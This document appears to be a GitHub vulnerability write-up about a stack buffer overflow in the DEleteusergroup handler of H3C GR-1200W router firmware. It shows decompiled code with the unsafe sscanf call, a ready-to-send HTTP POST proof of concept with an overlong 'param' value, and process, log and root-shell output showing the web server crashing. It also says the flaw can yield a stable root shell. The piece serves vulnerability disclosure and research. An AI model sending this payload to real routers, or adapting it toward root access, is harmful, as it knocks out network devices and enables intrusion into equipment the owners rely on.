

main vuln / H3C / GR-1200W / 10 /



Darry-lang1 Update readme.md ...

on Jul 29 History

..



img

4 months ago



readme.md

4 months ago



readme.md

H3C GR-1200W (<=MiniGRW1A0V100R006) has a stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :
https://www.h3c.com/cn/d_202102/1383837_30005_0.htm

Product Information

H3C GR-1200W MiniGRW1A0V100R006 router, the latest version of simulation overview :

H3C MiniGRW1A0V100R006 软件版本及说明书

软件名称: H3C MiniGRW1A0V100R006 软件版本及说明书

发布日期: 2021/2/18 11:12:56

下载:

→ MiniGRW1A0V100R006.zip(9.45 MB)

→ H3C MiniGRW1A0V100R006 版本说明书.pdf(560.71 KB)

软件说明:

联系我们

H3C MiniGRW1A0V100R006 版本说明书

Vulnerability details

The H3C GR-1200W (<=MiniGRW1A0V100R006) router was found to have a stack overflow vulnerability in the DEleteusergroup function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
16 char v15[16]; // [sp+50h] [+50h] BYREF
17 int v16[4]; // [sp+60h] [+60h] BYREF
18 int v17[8]; // [sp+70h] [+70h] BYREF
19 int v18[8]; // [sp+90h] [+90h] BYREF
20 int v19[8]; // [sp+B0h] [+B0h] BYREF
21 int v20[8]; // [sp+D0h] [+D0h] BYREF
22 int v21[8]; // [sp+F0h] [+F0h] BYREF
23
24 memset(v15, 0, sizeof(v15));
25 memset(v16, 0, sizeof(v16));
26 memset(v17, 0, sizeof(v17));
27 memset(v18, 0, sizeof(v18));
28 memset(v19, 0, sizeof(v19));
29 memset(v20, 0, sizeof(v20));
30 memset(v21, 0, sizeof(v21));
31 s = (char *)websgetvar(a1, "param", (int)&unk_4FB3EC);
32 if (s)
33 {
34     v9 = strtok_r(s, ";", &v13);
35     while (v9)
36     {
37         sscanf(v9, "%[^,]", v15);
38         v10 = (char *)&v9[strlen(v15) + 1];
39         v7 = atoi(v15);
40         sscanf(v10, "%[^,]", v17);
```

In the DEleteusergroup function, the param we entered is formatted using the sscanf function and in the form of %[^,]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of v15, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router_password_mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 553
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: JSESSIONID=5c31d502
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
CMD=DEleteusergroup&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```



The picture above shows the process information before we send poc.

```
1970 *root      480 S    /bin/watchdog &
1971 *root      796 S    /bin/ntpcclient &
2008 *root      2084 S   /bin/onlineupdate &
2039 *root      2244 S   /bin/AC &
2065 *root      832 S    /bin/dhcpd -d -q lanbr1 -p 10087 -g -cf /etc/config/dhcpd_s
2073 *root      464 S    dnsmasq -r /etc/resolv.conf -n -c 500
2076 *root      912 S    /bin/dhcpd -d -q lanbr1 lan2490
29702 *root      676 S   -cmdtelnet
29703 *root      768 S    /bin/sh
29820 *root      2480 S   /bin/webs &
29838 *root      896 R    ps
```

In the picture above, we can see that the PID has changed since we sent the POC.

日志信息			
提示：点击日志信息的各属性标题，可进行排序；双击日志表项，可查看该日志详细信息和操作建议。			
下载	清除	刷新	自动刷新：禁止 秒 关键字：日期 请选择 查询 显示全部
日期时间	级别	信息来源	信息内容
	error	系统	Webs进程丢失

The picture above is the log information.



已超时

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

```
BusyBox v1.2.0 (2019.07.31-03:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
/ # ls -l
drwxrwxr-x  6 1007  1007      89 Jul 31  2019 www_multi
drwxr-xr-x  2 *root  root      0 Jan  1  1970 www
drwxr-xr-x 10 *root  root      0 Jul 24 21:56 var
drwxrwxr-x  6 1007  1007     62 Jul 31  2019 usr
drwxrwxr-x  3 1007  1007     26 Jul 31  2019 uclibc
lrwxrwxrwx  1 1007  1007      7 Jul 31  2019 tmp -> var/tmp
dr-xr-xr-x 11 *root  root      0 Jan  1  1970 sys
lrwxrwxrwx  1 1007  1007      3 Jul 31  2019/sbin -> bin
dr-xr-xr-x 89 *root  root      0 Jan  1  1970 proc
drwxr-xr-x  5 *root  root      0 Jan  1  1970 mnt
drwxrwxr-x  3 1007  1007     28 Jul 31  2019 libexec
drwxrwxr-x  4 1007  1007    2422 Jul 31  2019 lib
lrwxrwxrwx  1 1007  1007      9 Jul 31  2019 init -> sbin/init
drwxrwxr-x  2 1007  1007      3 Jul 31  2019 home
drwxr-xr-x  4 *root  root      0 Jan  1  1970 ftproot
drwxr-xr-x 11 *root  root      0 Jan  1  1970 etc
drwxrwxr-x  3 1007  1007    2528 Jul 31  2019 dev
drwxr-xr-x  2 1007  1007    1556 Jul 31  2019 bin
/ #
```

Finally, you also can write `exp` to get a stable root shell.